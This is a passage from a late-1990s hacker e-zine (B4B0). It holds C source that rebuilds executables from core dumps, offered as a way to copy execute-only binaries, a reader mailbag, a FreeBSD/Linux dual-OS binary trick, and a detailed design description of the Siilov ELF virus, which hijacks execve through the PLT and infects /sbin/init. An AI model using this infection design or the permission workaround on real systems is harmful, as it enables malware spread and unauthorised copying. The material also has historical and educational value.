EXECUTABLE RECONSTRUCTION
--------------------------

To reconstruct an executable from a core dump we simply have to create
the ELF execute Abel with the memory regions corresponding to the text and
data segments of the core image. It must be remembered, that when loading
the text segment, the ELF header and program headers are also loaded into
memory (for efficiency) so we can use these for our executable image.
The executable ELF header contains such information as the true text and data
segment start and size (remember the memory regions lie on page borders).

Now, if we only use the text and data segments in our reconstruction, the
result executable may only work on the system it was reconstructed on.
This is because the Procedure Linkage Table (PLT) may have resolved shared
library functions to point to its loaded value. Moving the binary means
that the library may be at a different position, or that the function may
be at a different location. Thus for true, system independence, the entire
image excluding the stack must be used in the reconstructed executable.


FAILURES IN RECONSTRUCTION
--------------------------

The problem with reconstruction, is that the snapshot of the process image
is at runtime, not at initiation time, so its possible that the data segment
which is writable may have changed values. Consider the following code

static int i = 0;

int main()
{
if (i++) exit(0);
printf("Hi\n");
}

In this instance, reconstructing the image will result in an executable that
immediately exits because it relies on the initial value of the global
variable 'i'. The educated user may use debugging tools to find such code
but for the uneducated user its not so easy.

USES OF RECONSTRUCTION
----------------------

Reconstructing images does not have many uses outside academic use but one
possible use is the ability to copy an executable that has only execute
permission on. Creating the core dump is easy by sending the process a
SIGSEGV or alternately, the image may be copied from the process image in
the proc filesystem.

--

$ cat test_harness.c
int main()
{
for (;;) printf("Hi\n");
}
$ gcc test_harness.c -o test_harness
$ ./test_harness
Hi
Hi
Hi
.
.
.
$ kill -SIGSEGV `ps|grep test_harness|grep -v grep|awk '{print $1}'`
$ ./core_reconstruct
$ ./a.out
Hi
Hi
Hi
.
.
.

--------------------------------- CUT ---------------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
#include <stdarg.h>
#include <string.h>

void die(const char *fmt, ...)
{
va_list ap;

va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
exit(1);
}

#define PAGE_SIZE 4096

static char shstr[] =
"\0"
".symtab\0"
".strtab\0"
".shstrtab\0"
".interp\0"
".hash\0"
".dynsym\0"
".dynstr\0"
".rel.got\0"
".rel.bss\0"
".rel.plt\0"
".init\0"
".plt\0"
".text\0"
".fini\0"
".rodata\0"
".data\0"
".ctors\0"
".dtors\0"
".got\0"
".dynamic\0"
".bss\0"
".comment\0"
".note"
;

char *xget(int fd, int off, int sz)
{
char *buf;

if (lseek(fd, off, SEEK_SET) < 0) die("Seek error");
buf = (char *)malloc(sz);
if (buf == NULL) die("No memory");
if (read(fd, buf, sz) != sz) die("Read error");
return buf;
}

void do_elf_checks(Elf32_Ehdr *ehdr)
{
if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) die("File not ELF");
if (ehdr->e_type != ET_CORE) die("ELF type not ET_CORE");
if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486)
die("ELF machine type not EM_386 or EM_486");
if (ehdr->e_version != EV_CURRENT) die("ELF version not current");
}

int main(int argc, char *argv[])
{
Elf32_Ehdr ehdr, *core_ehdr;
Elf32_Phdr *phdr, *core_phdr, *tmpphdr;
Elf32_Shdr shdr;
char *core;
char *data[2], *core_data[3];
int prog[2], core_prog[3];
int in, out;
int i, p;
int plen;

if (argc > 2) die("usage: %s [core-file]");

if (argc == 2) core = argv[1];
else core = "core";
in = open(core, O_RDONLY);
if (in < 0) die("Coudln't open file: %s", core);

if (read(in, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) die("Read error");
do_elf_checks(&ehdr);

if (lseek(in, ehdr.e_phoff, SEEK_SET) < 0) die("Seek error");
phdr = (Elf32_Phdr *)malloc(plen = sizeof(Elf32_Phdr)*ehdr.e_phnum);
if (read(in, phdr, plen) != plen) die("Read error");

for (i = 0; i < ehdr.e_phnum; i++)
printf("0x%x - 0x%x (%i)\n",
phdr[i].p_vaddr, phdr[i].p_vaddr + phdr[i].p_memsz, phdr[i].p_memsz);

/*
copy segments (in memory)

prog/data[0] ... text
prog/data[1] ... data
prog/data[2] ... dynamic
*/

for (i = 0, p = 0; i < ehdr.e_phnum; i++) {
if (
phdr[i].p_vaddr >= 0x8000000 &&
phdr[i].p_type == PT_LOAD
) {
prog[p] = i;
if (p == 1) break;
++p;
}
}
if (i == ehdr.e_phnum) die("Couldnt find TEXT/DATA");

for (i = 0; i < 2; i++) data[i] = xget(
in,
phdr[prog[i]].p_offset,
(phdr[prog[i]].p_memsz + 4095) & 4095
);

core_ehdr = (Elf32_Ehdr *)&data[0][0];
core_phdr = (Elf32_Phdr *)&data[0][core_ehdr->e_phoff];

for (i = 0, p = 0; i < core_ehdr->e_phnum; i++) {
if (core_phdr[i].p_type == PT_LOAD) {
core_prog[p] = i;
if (p == 0) {
core_data[0] = &data[0][0];
} else {
core_data[1] = &data[1][
(core_phdr[i].p_vaddr & 4095)
];
break;
}
++p;
}
}
if (i == core_ehdr->e_phnum) die("No TEXT and DATA segment");
for (i = 0; i < core_ehdr->e_phnum; i++) {
if (core_phdr[i].p_type == PT_DYNAMIC) {
core_prog[2] = i;
core_data[2] = &data[1][64];
break;
}
}
if (i == core_ehdr->e_phnum) die("No DYNAMIC segment");

out = open("a.out", O_WRONLY | O_CREAT | O_TRUNC);
if (out < 0) die("Coudln't open file: %s", "a.out");

core_ehdr->e_shoff =
core_phdr[core_prog[2]].p_offset +
core_phdr[core_prog[2]].p_filesz +
sizeof(shstr);

/*
text
data
bss
dynamic
shstrtab
*/

core_ehdr->e_shnum = 6;
core_ehdr->e_shstrndx = 5;

for (i = 0; i < 2; i++) {
Elf32_Phdr *p = &core_phdr[core_prog[i]];
int sz = p->p_filesz;

if (lseek(out, p->p_offset, SEEK_SET) < 0) goto cleanup;
if (write(out, core_data[i], sz) != sz) goto cleanup;
}

if (write(out, shstr, sizeof(shstr)) != sizeof(shstr)) goto cleanup;

memset(&shdr, 0, sizeof(shdr));
if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;

/*
text section
*/

tmpphdr = &core_phdr[core_prog[0]];

shdr.sh_name = 95;
shdr.sh_type = SHT_PROGBITS;
shdr.sh_addr = tmpphdr->p_vaddr;
shdr.sh_offset = 0;
shdr.sh_size = tmpphdr->p_filesz;
shdr.sh_flags = SHF_ALLOC | SHF_EXECINSTR;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 16;
shdr.sh_entsize = 0;

if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;

/*
data section
*/

tmpphdr = &core_phdr[core_prog[1]];

shdr.sh_name = 115;
shdr.sh_type = SHT_PROGBITS;
shdr.sh_addr = tmpphdr->p_vaddr;
shdr.sh_offset = tmpphdr->p_offset;
shdr.sh_size = tmpphdr->p_filesz;
shdr.sh_flags = SHF_ALLOC | SHF_WRITE;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 4;
shdr.sh_entsize = 0;

if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;

/*
dynamic section
*/

for (i = 0; i < core_ehdr->e_phnum; i++) {
if (core_phdr[i].p_type == PT_DYNAMIC) {
tmpphdr = &core_phdr[i];
break;
}
}

shdr.sh_name = 140;
shdr.sh_type = SHT_PROGBITS;
shdr.sh_addr = tmpphdr->p_vaddr;
shdr.sh_offset = tmpphdr->p_offset;
shdr.sh_size = tmpphdr->p_memsz;
shdr.sh_flags = SHF_ALLOC;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 4;
shdr.sh_entsize = 8;

if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;

/*
bss section
*/

shdr.sh_name = 149;
shdr.sh_type = SHT_PROGBITS;
shdr.sh_addr = tmpphdr->p_vaddr + tmpphdr->p_filesz;
shdr.sh_offset = tmpphdr->p_offset + tmpphdr->p_filesz;
shdr.sh_size = tmpphdr->p_memsz - tmpphdr->p_filesz;
shdr.sh_flags = SHF_ALLOC;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 1;
shdr.sh_entsize = 0;

if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;

/*
shstrtab
*/


shdr.sh_name = 17;
shdr.sh_type = SHT_STRTAB;
shdr.sh_addr = 0;
shdr.sh_offset = core_ehdr->e_shoff - sizeof(shstr);
shdr.sh_size = sizeof(shstr);
shdr.sh_flags = 0;
shdr.sh_link = 0;
shdr.sh_info = 0;
shdr.sh_addralign = 1;
shdr.sh_entsize = 0;

if (write(out, &shdr, sizeof(shdr)) != sizeof(shdr)) goto cleanup;

return 0;

cleanup:
unlink("a.out");
die("Error writing file: %s", "a.out");
return 1; /* not reached */
}


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

INSERT: graphic

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#
! B4B0 Mailbag ! the party programme
~!@#~!@#~!@#~!@#

This is the first time doing the B4B0 Mailbag, so right now it's just a
selection of emails since 1998. We'll have this as a regular thing from
here on.

=========================================================================
> Date: Fri, 30 Oct 1998 06:34:52 -0700 (MST)
> From: Joe S. Phigan <phigan@REMOVED>
> Subject: w0rd.
>
> <Devi0us_> b4b0?
> <Devi0us_> wasn't that mr burn's bear?
>
> i th0t it wuz funnie.

We're laughing on the inside.


=========================================================================
> Date: Mon, 9 Nov 1998 12:30:27 +0000 ( )
> From: Packet Storm <tattooman@REMOVED>
> Subject: b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0!b4b0! ...
>
> Hey,
>
> B4B0 kicks some motherfucking ass.
>
> We had to snarf the whole fucking B4B0 archives for the NSA and .mil goons
> who visit our site.
>
> http://www.genocide2600.com/~tattooman/b4b0/
>
> Regards,
>
> Ken Williams

Yeah, this email is a couple years old, and Packet Storm had transferred
ownership since then (coincidentally to guys that are friends of ours).
Anyhow, thanks Ken, and we hope all is well with you.


=========================================================================
> Date: Tue, 10 Nov 1998 22:56:01 -0500 (EST)
> From: Dr. Mudge <mudge@REMOVED>
> Subject: kudos
>
> Cheers on a throughly enjoyable issue #5 for b4b0.
>
> I'm still laughing my ass off 'bout libclear ;)
>
> .mudge
>
> PS - feel free to tell prym that I'll post about the math prob if I can
> find it... but that's far from a guarantee that I'll hit upon it.

Yeah, this is another email that's a couple years old. Thanks, and I don't
remember if we told prym about this email or not.


=========================================================================
> Date: Tue, 29 Sep 1998 14:57:34 EDT
> From: TWiNk197@aol.com
> Subject: Re: OMG I MISS YOU.
>
> Ahhhh!! I brought you from your CODING? I feel SPECIAL! :P
> Well, I came on IRC a couple times and you were away so I got off.. and
> school is also taking up sooooooooooo much time cuz I have school till 2:10
> then I have yearbook or newspaper or morning star or volunteering or im
> getting a job soon.. then i have speeches to write, articles to do, plus i
> meet my friend at the library to study for SATs (HER idea).. I don't like
> being so busy!! But that'z still no excuse to neglect my poor friend Sam :P
> Well.. I have to go now.. I have a dentist appointment in an hour... and I
> have *get ready to like.. drop your jaw*.. SEVEN CAVITIES!! It's the
> accumulation of like all my cavities cuz I haven't been to the dentist in
> years.. but still.. SEVEN? Ugh.. so today they're going to kill me. I felt
> like choking from the routine check up, I can only IMAGINE NOVOCAINE!! But
> anyway.. it was nice knowing you.. ttyl.. if I survive.. I doubt it tho..
> *huGz*
> Rachel
> P.S. I missed you too :)

I think this email was intended for someone specific. But we'll take what
we can get. It's nice to feel loved.


=========================================================================
> Date: Wed, 25 Nov 1998 08:19:12 -0800 (PST)
> From: Lucifer Satan <diranged_666@REMOVED>
> Subject: uhm...
>
> don't you ever grow tired of insulting people in your zine yet?

No. But we love you.


=========================================================================
> Date: Sun, 13 Dec 1998 02:17:43 -0500 (EST)
> From: The Lizard King <plurbius@REMOVED>
> Subject: lets see how you liek this you fuck tymat
>
> Bringing forth the dox once again..
>
> -The Monk

We love you as well.


Actually, that's it for the mailbag this issue. Next issue, we'll answer
emails from 1999.


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

INSERT: graphic

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#
! Multiplatform FreeBSD/Linux Binaries ! silvio
~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#~!@#


INTRODUCTION
------------

This article will show a technique that enables a single binary or code
snippet that executes successfuly under two different operating systems
without any native support. The operating systems are x86 Linux and FreeBSD
both supporting ELF binaries and FreeBSD using the int80 interface of making
a system call.

PROCEDURE
---------

The premise of this idea is simple, both operating systems use the same
object format and method of making a system call. However FreeBSD has more
system calls than Linux does, so we can simply make a system call that exists
in FreeBSD and doesnt in Linux and from the results determine which OS we
are using.

To create a complete binary that executes in both operating systems, we need
only compile the supplied program (hello.c) in either system. Because
FreeBSD uses ELF branding, we must brand the executeable so it executes in
that operating system. The only thing branding does is place a string (the
brandname) in the ELF header padding (at file offset eight). This also means
the brandname can be a maximum of eight characters). Also note, that libc
must be avoided to avoid conflicts in system calls etc.

$ gcc brandelf.c -o brandelf
$ gcc -nostdlib hello.c -o hello
$ ./brandelf hello FreeBSD

The binary 'hello' is now a multiplatform FreeBSD/Linux binary


------------------------------- hello.c ---------------------------------

void _start()
{
asm("
movl $207, %eax
int $0x80
cmp $-38, %eax
jne FreeBSD
Linux:
movl $4, %eax
movl $1, %ebx
movl $string, %ecx
movl $6, %edx
int $0x80
movl $1, %eax
movl $0, %ebx
int $0x80
FreeBSD:
movl $4, %eax
pushl $6
pushl $string
pushl $1
pushl $0
int $0x80
movl $1, %eax
pushl $0
pushl $0
int $0x80
string:
.ascii \"
Hello\\n\"
"
);
}

------------------------------ brandelf.c ------------------------------

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
int fd;

if (argc == 2) {
char brandname[8];

fd = open(argv[1], O_RDONLY);
if (lseek(fd, 8, SEEK_SET) != 8) {
perror("lseek");
exit(1);
}
if (read(fd, brandname, 8) != 8) {
perror("read");
exit(1);
}
printf("%s\n", brandname);
} else if (argc == 3) {
int len;

len = strlen(argv[2]);
if (len >= 8) {
fprintf(stderr, "Brandname must be < 8 chars\n");
exit(1);
}

fd = open(argv[1], O_RDWR);
if (lseek(fd, 8, SEEK_SET) != 8) {
perror("lseek");
exit(1);
}
if (write(fd, argv[2], len) != len) {
perror("read");
exit(1);
}
} else {
fprintf(stderr, "usage: %s filename [brandname]\n", argv[0]);
exit(1);
}

close(fd);
}


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

INSERT: graphic

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#
! Siilov Virus ! silvio
~!@#~!@#~!@#~!@#


The Siilov virus is a Linux x86 parasitic ELF virus written by the author
Silvio Cesare in late 1999. Its argueably the most complete Unix virus seen
before the year 2000.

It infects files via two distinct methods. This never seen befer method,
uses residency for the life of the process running the virus. It modifies
the procedure linkage table (PLT) of the running executeable to gain control
of the 'execve' call and infect any file that is passed via this call if the
file access permits it.

If the superuser runs the virus, then /sbin/init becomes infected, which
will should then infect effectively the entire system as every process is a
descendant of init. However, the standard init binary does not use the
execve library call but instead uses execl and execvp, thus even though init
can become infected, the virus cannot stay resident.

However, other programs such as the bash shell do use execve and if for
instance this becomes infected, the virus will indeed this time stay resident
and attempt infection on every program the user executes from the shell
during the login session.

The other method of infection is standard direct infection which tries to
infect executeables in the current directory much the same way as the VIT
and FILE virus do.

The actual method of ELF infection is again new to the Unix virus arena.
Data infection is used, which has the decisive advantage that the parasitic
virus can be of any length; remember the VIT virus was limited to 4096 bytes
as a maximum, and much less to be effective.

This particular infection method works by inserting the virus code at the
end of the data segment in the binary. The data segment is normally marked
as non executeable, however under certain operating systems and
architectures, having read and write permission implies execute permission.

Again as the VIT virus, inserting new data into the file requires a section
to account for the new part of the binary if the file is to remain
compatable with other programs that use the BFD library such as objjdump and
string. Strip in particular as mentioned, will delete the data if no
section accounts for it.

The Siilov virus is strip safe as a new section (.data1) is added; which
appears after the dynamic section and thus makes it rather suspicious for
any keen user or virus scanner. This is also how the virus determines if an
executeable has already been infected - via the presence of a .data1
section.

ELF data infection has the side effect of modifying the bss section. The
bss section is used for unitialized data and occupies memory in the process
image but does not need to be stored on file because its initializtion of
zero is automatically handled by loading the process. To specify that the
process requires memory for the bss but does not require file space, the
program header has two fields, p_filesz and p_memsz for each segment. These
are the file size and memory sizes of the segment respectively, so to
indicate a bss of 8 bytes for example, the p_memsz field is 8 bytes greater
than the p_filesz field.

If new memory is to be inserted after the data segment, then the bss must be
modified because it occupies the last remaining memory of the original data
segment. To do this, a pseudo bss section is created by the virus which
stores the bss in the file image by occuping the original bss section with
zero data. The virus can then use the following data for its own devices.

The entry point of an infected program doesnt actually change when it becomes
infected. Instead, the entry point code changes so it jumps to the end of
the data segment (the location of the main virus code). The virus code is
then responsible for reconstructing the original code and jumping back when
the virus has finished its work. This procedure is called chaining.


[ chain ] --+
[ host ] |
[ virus ] <-+
[ virus.done ]
[ host.store ]

[ host.store ] <-+
[ host ] |
[ virus ] |
[ virus.done ] --+
[ host.store ]

* host.store is simply what would be in the original host instead of
the chain

 
Although not seen from the end point of view, the Siilov Virus
starts a new breed of developing viruses. It can be compiled straight out
of the box and run as a complete virus. It is developed in 95% portable C
code and 5% platform dependant code (assembler). It infects hosts by
extracting the virus directly from the processes memory image compared to
seeking to the virus in the infected binary using the argv vector to extract
the program name (as does the VIT Virus).

PROGRAM STRUCTURE
-----------------

void virfunc(void);

This function is the main virus code and is called from the chain code. It
is written in assembler and does such things as save the registers sets up
the plt, calls the rest of the virus that is written in C restores the
chain and transfers control back to the host. Remember that the memory
protection of the chain code must be changed to restore the chain code.

char *getdataseg(void);

Because the code must be relocatable, a pseudo data segment is created and
this function is responsible for returning a pointer to it. It houses such
strings as "vXXXXXX", "execve", ".data1", ".", ".rel.plt" and "/sbin/init".

int orig_plt_func(
const char *filename, const char *argv[], const char *envp[]
);

To call the original 'execve' call, 'orig_plt_func' is used.

int plt_execve(
const char *filename, const char *argv[], const char *envp[]
)

Infection of 'filename' occurs whenever this function is called. After
an attempt of infection occurs, a call to 'orig_plt_func' is made which does
the real execve.

void virchfunc(void);

'virchfunc' is the first code that gets executed. It is the chain routine
which simply transfers control to the 'virfunc'.

char *get_virus(void);

Dynamic determine the address of the virus.

void _memcpy(void *dst, void *src, int len);
int _strcmp(const char *p, const char *q);

These are support functions and are self explanatory.

int init_virus(
int plt, int data_start, int data_memsz, int entry, bin_t *bin
)

Initialize the virus prior to infection by setting the plt, entry point and
so forth with the correct values. Also copy the chain store so its available
for restoring the chain.

int do_elf_checks(Elf32_Ehdr *ehdr)

Determine if the ehdr represents an executeble i386 binary.

int do_dyn_symtab(
int fd,
Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
const char *sh_function
);
int get_sym_number(
int fd,
Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
);
int do_rel(int fd, Elf32_Shdr *shdr, int sym)

Support functions for 'find_rel'.

int find_rel(
int fd,
const char *string,
Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
const char *sh_function
)

Find the value of the dynamic function 'sh_function'.

int load_section(char **section, int fd, Elf32_Shdr *shdr)
int load_bin(int fd, bin_t *bin, const char *newsecstr)
void free_bin(bin_t *bin);

'load_bin' loads the binary into memory. 'load_section' is a support
function. 'free_bin' cleansup.

void memzero(char *ptr, int len)
int _strlen(const char *str)

void malloc_init(void)
void *_malloc(int size)
void _free(void *ptr)
void freeall(void)

All quite self explanatory except for the malloc routines. '_free' doesnt
actually do anything. 'freeall' is the only routine that frees memory.
This makes coding memory allocation routines alot easier at the expense of
not freeing memory until exit.

int try_infect(char *host)

The heart of the virus. Trys to infect a binary and returns 0 on success
and -1 on failure.

void _vstart(void)

The C routine that gets called from 'virfunc' (the first major assembler
virus routine that comes after being called from the chain). Does
initialization. If root try to infect /sbin/init and regardless do direct
infection in the current directory.

void virendall(void)

Signifies the end of the virus.

void _start(void)

Only present in the carrier and represents the entry point. Changes
memory protection of the virus so it can modify the pseudo data segment then
passes control to '_vstart'.

$ strings siilov-carrier.bin
PSQR
_ZY[X
vXXXXXX
execve
.data1
.rel.plt
/sbin/init
CAB9
(F9u
ELFu
4WVS
[09]
@09E
Siilov, Decemeber 1999, Silvio Cesare <silvio@big.net.au>


x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x

INSERT: graphic

x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x - x


~!@#~!@#~!@#~!@#~
! In Conclusion ! the party programme
~!@#~!@#~!@#~!@#~


INSERT: In conclusion

[ ! ] @#b4b0!@#b4b0!@#b4b0!#@b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@#b4b0!@# [ ! ]

← previous
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT